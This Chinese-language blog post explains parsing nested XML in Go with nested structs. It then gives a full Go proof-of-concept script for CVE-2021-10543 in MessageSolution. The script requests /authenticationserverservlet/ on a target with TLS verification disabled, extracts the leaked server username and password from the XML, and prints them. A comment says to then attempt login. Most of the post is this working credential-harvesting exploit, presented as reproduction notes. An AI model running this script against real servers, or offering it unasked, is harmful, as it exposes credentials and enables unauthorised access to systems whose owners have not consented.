天天看点

GO 语言解析xml

复现漏洞的时候遇到了xml解析问题

之前没搞过记录一下

一个xml在线格式化网站(https://tool.oschina.net/codeformat/xml)

GO 语言解析xml

对于go语言解析xml需要用到结构体

而图中的xml有两层嵌套

就需要通过结构体来套结构体实现解析

以上图为例
第一层结构体
type 第一层 struct{
	//第一层的xml入口
	XMLName  xml.Name `xml:"authenticationserver"`
	//对应解析server
	Server Seconding(第二层结构体的名称) `xml:"server"`
}

第二层结构体
type 第二层 struct{
	//第二层入口有需要添加
	//对应需要解析的位置
	Username string `xml:"username"`
	Password string `xml:"password"`
}

           

对应的本次复现的CVE-2021-10543

package main

import (
	"crypto/tls"
	"encoding/xml"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"time"
)

/*
CVE-2021-10543 poc
访问MessageSolution目标的/authenticationserverservlet/
查看是否有username password
尝试登录
*/


func exp(urls string)  {
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{
			InsecureSkipVerify: true,
		},
	}
	client := &http.Client{
		Timeout: 5*time.Second,
		Transport: tr,
	}
	req ,err := http.NewRequest("GET",urls,nil)

	req.Header.Add("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0")
	if err != nil {
		panic(err)
	}
	resp , err := client.Do(req)
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)


	type Seconding struct {
		Username string `xml:"username"`
		Password string `xml:"password"`
	}

	type  mesgsoserver	struct {
		XMLName  xml.Name `xml:"authenticationserver"`
		Server Seconding `xml:"server"`
	}


	x := mesgsoserver{}
	err = xml.Unmarshal(body,&x)
	if err != nil{
		fmt.Println(err)
	}
	if err != nil {
		fmt.Println("HttpGet error is ", err)
	}
	if resp.StatusCode == 200 {
		//fmt.Println("body is",string(body))
		fmt.Println(x.Server.Username)
		fmt.Println(x.Server.Password)
	}else {
		fmt.Println("body is",string(body))
		fmt.Println("err")
	}
}

func check(urls string)  {
	url := urls + "/authenticationserverservlet/"
	exp(url)
}


func main()  {
	urls := os.Args[1]
	check(urls)
}